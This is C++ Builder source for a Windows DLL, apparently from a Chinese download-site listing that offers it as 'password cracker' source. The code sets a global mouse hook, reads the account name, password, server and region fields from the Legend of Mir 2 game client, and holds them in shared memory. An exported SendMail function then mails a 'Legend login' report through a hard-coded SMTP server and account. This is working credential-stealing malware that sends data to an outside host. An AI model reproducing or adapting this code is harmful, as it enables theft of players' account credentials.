//---------------------------------------------------------------------------
#include <vcl.h>
#include <windows.h>
#include <IdMessageClient.hpp>
#include <IdSMTP.hpp>
#pragma hdrstop
//---------------------------------------------------------------------------
// Important note about DLL memory management when your DLL uses the
// static version of the RunTime Library:
//
// If your DLL exports any functions that pass String objects (or structs/
// classes containing nested Strings) as parameter or function results,
// you will need to add the library MEMMGR.LIB to both the DLL project and
// any other projects that use the DLL. You will also need to use MEMMGR.LIB
// if any other projects which use the DLL will be performing new or delete
// operations on any non-TObject-derived classes which are exported from the
// DLL. Adding MEMMGR.LIB to your project will change the DLL and its calling
// EXE's to use the BORLNDMM.DLL as their memory manager. In these cases,
// the file BORLNDMM.DLL should be deployed along with your DLL.
//
// To avoid using BORLNDMM.DLL, pass string information using "char *" or
// ShortString parameters.
//
// If your DLL uses the dynamic version of the RTL, you do not need to
// explicitly add MEMMGR.LIB as this will be done implicitly for you
//---------------------------------------------------------------------------
#pragma argsused
typedef struct
{
POINT MouseLoc; // 存放鼠标位置
HHOOK NewHook; // 存放新钩子句柄
int LoadCount; // DLL装入次数计数
HWND g_hWnd;
char location[64];
char username[64];
char psw[64];
char server[32];
} HOOKSTRUCT;
HINSTANCE DllHinst=NULL;
HOOKSTRUCT *HookStruct=NULL;
HANDLE hFile=NULL;
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
DllHinst=hinst;
switch(reason)
{
case DLL_PROCESS_ATTACH: // DLL入口
hFile=CreateFileMapping(INVALID_HANDLE_VALUE,
NULL,
PAGE_READWRITE,
0,
sizeof(HOOKSTRUCT),
"HookStruct");
HookStruct=(HOOKSTRUCT *)MapViewOfFile(hFile,
FILE_MAP_ALL_ACCESS,
0,
0,
sizeof(HOOKSTRUCT));
HookStruct->LoadCount++;
break;
case DLL_PROCESS_DETACH: // DLL出口处理
HookStruct->LoadCount--;
UnmapViewOfFile(HookStruct);
CloseHandle(hFile);
break;
} return 1;
}
//-------------------------
BOOL CALLBACK EnumChildProc(HWND hwnd,LPARAM lParam)
{
char lp[32];
GetClassName(hwnd,lp,32);
if (String(lp)=="TEdit")
{ LONG style=::GetWindowLong(hwnd,GWL_STYLE); //得到STYLE
if((style&ES_PASSWORD)!=ES_PASSWORD) //bu 是密码框
{
SendMessage(hwnd,WM_GETTEXT,64,(LPARAM)(LPCTSTR)HookStruct->username); //得到username
return false;
}
if((style&ES_PASSWORD)==ES_PASSWORD) //是密码框
{SendMessage(hwnd,WM_GETTEXT,64,(LPARAM)(LPCTSTR)HookStruct->psw); //得到psw
return true;
}
}
}
//-------------------------
BOOL CALLBACK EnumChildProc2(HWND hwnd,LPARAM lParam)
{
char lp[32];
GetClassName(hwnd,lp,32);
if (String(lp)=="TEdit")
{ LONG style=::GetWindowLong(hwnd,GWL_STYLE); //得到STYLE
if((style&ES_PASSWORD)!=ES_PASSWORD) //bu 是密码框
{
SendMessage(hwnd,WM_GETTEXT,64,(LPARAM)(LPCTSTR)HookStruct->server); //得到username
ShowMessage("ooo");
return true;
}
}
}
//--------
extern "C" __declspec(dllexport)
void __stdcall GetMouse(int &mx,int &my,int &js, char **p,char **l,char **u,char **s) // DLL导出函数GetMouse()
{
mx=HookStruct->MouseLoc.x; // 送出鼠标位置
my=HookStruct->MouseLoc.y;
js=HookStruct->LoadCount; // 送出DLL装入次数
*p=HookStruct->psw;
// 送出密码
*l=HookStruct->location;
*u=HookStruct->username;
*s=HookStruct->server;
}
LRESULT CALLBACK MouseHook(int nCode,
WPARAM wParam,LPARAM lParam)
{
if (nCode==HC_ACTION)
{ int flag=1;
MOUSEHOOKSTRUCT *l=(MOUSEHOOKSTRUCT *)lParam;
HookStruct->MouseLoc=l->pt; //送鼠标位置
HWND win=GetForegroundWindow();
HWND Lo=FindWindow("TfrmMain","传奇客户端");HWND L=NULL;
if (win==Lo&& Lo!=NULL) L=FindWindowEx(Lo,NULL,"TComboBox",NULL);
if(L!=NULL)
{ SendMessage(L,WM_GETTEXT,128,(LPARAM)(LPCTSTR)HookStruct->location);
}
win=GetForegroundWindow();
Lo=FindWindow("TFrmMain","legend of mir2");
bool temp=false;
if (win==Lo&&Lo!=Null) temp=EnumChildWindows(Lo,(WNDENUMPROC)EnumChildProc,0);
//Lo=FindWindow("TFrmMain","legend of mir2");
if(temp)
EnumChildWindows(Lo,(WNDENUMPROC)EnumChildProc2,0);
//SendMessage(WindowFromPoint(l->pt),WM_GETTEXT,128,(LPARAM)(LPCTSTR)HookStruct->server);
}
return(CallNextHookEx(HookStruct->NewHook,nCode,wParam,lParam));
}
extern "C" __declspec(dllexport)
void __stdcall EnableHook() // 导出函数EnableHook()
{
if (HookStruct->NewHook==NULL) // 安装新钩子
HookStruct->NewHook=SetWindowsHookEx(WH_MOUSE,
(HOOKPROC)MouseHook,
DllHinst,0);
}
extern "C" __declspec(dllexport)
void __stdcall DisableHook() // 导出函数DisableHook()
{
if (HookStruct->NewHook!=NULL)
{
UnhookWindowsHookEx(HookStruct->NewHook);
HookStruct->NewHook=NULL; // 卸掉新钩子
}
}
//---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
void _stdcall SendMail()
{bool iscon;
TStringList *S1,*S2,*S3,*V1,*V2,*V3;
TStringList *Text;
String add;
String tp;
int i,j;
S1=new TStringList();
V1=new TStringList();
Text=new TStringList();
TIdMessage *IdMessage=new TIdMessage(Application);
//GetKeyName("LegendEnter",S1);
TIdSMTP *smtp=new TIdSMTP(Application);
smtp->Host="202.106.187.143";
smtp->UserId="51bcb";
smtp->Password="12345";
smtp->Connect();
smtp->AuthenticationType=atLogin;
smtp->Authenticate();
if(S1->Count!=0&&smtp->Connected())
{
//add=ReadValue("SystemCurrentControlSetControl","Address");
IdMessage->From->Address ="51bcb@sina.com";
IdMessage->Recipients->EMailAddresses="51bcb@sina.com";
IdMessage->Subject="hello";;
Text->Add("传奇登录");
Text->Add("------------------------");
for(i=0;i<=S1->Count-1;i++)
{/*
GetValueName("LegendEnter"+S1->Strings[i],V1);
tp=ReadValue("LegendEnter"+S1->Strings[i],"区域");
Text->Add("区域:"+ tp);
tp=ReadValue("LegendEnter"+S1->Strings[i],"ID");
Text->Add("用户名"+tp);
tp=ReadValue("LegendEnter"+S1->Strings[i],"PW");
Text->Add("密码:"+tp) ;
tp=ReadValue("LegendEnter"+S1->Strings[i],"SP");
Text->Add("服务器:"+tp) ;
V1->Clear();
Text->Add(" "); */
}
S1->Free();V1->Free();
}
Text->Add(" ");
Text->Add(" ");
Text->Add("附加信息");
Text->Add("_________________________");
Text->Add("IP地址");
//Text->Add("计算机名"+myGetComputerName());
Text->Add("时间"+DateTimeToStr(Now()));
IdMessage->Body->AddStrings(Text);
if(S1->Count!=0) smtp->Send(IdMessage);
smtp->Disconnect();
smtp->Free();
IdMessage->Free();
}
没有合适的资源?快使用搜索试试~ 我知道了~
密码解霸第三代技术源码
共27个文件
obj:3个
c:3个
res:2个
需积分: 3 13 下载量 68 浏览量
2009-10-28
09:28:48
上传
评论
收藏 698KB RAR 举报
温馨提示
密码解霸第三代源码,有键盘,鼠标hook等技术
资源详情
资源评论
资源推荐
收起资源包目录
.rar (27个子文件)
运行主界面
Project2.~bpr 4KB
Unit2.~h 1KB
Unit2.obj 41KB
Project2.~cpp 1KB
Unit2.ddp 51B
Unit2.dfm 2KB
Unit1.obj 35KB
Unit2.cpp 2KB
Unit2.~dfm 2KB
Project2.tds 1.49MB
Unit2.h 1KB
Project3.res 876B
Unit2.~cpp 2KB
Unit2.~ddp 51B
PwdSpyHK键盘HOOK文件
ProjectGroup1.c 932B
Project1.bpf 106B
ProjectGroup1.bpg 933B
Unit1.obj 15KB
Project1.dll 25KB
Project1.bpr 4KB
Unit1.c 7KB
Project1.res 876B
Project1.c 106B
Project1.~bpr 4KB
Project1.lib 11KB
Project1.tds 1.88MB
Unit1.cpp 7KB
共 27 条
- 1
findingit
- 粉丝: 0
- 资源: 4
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功
评论0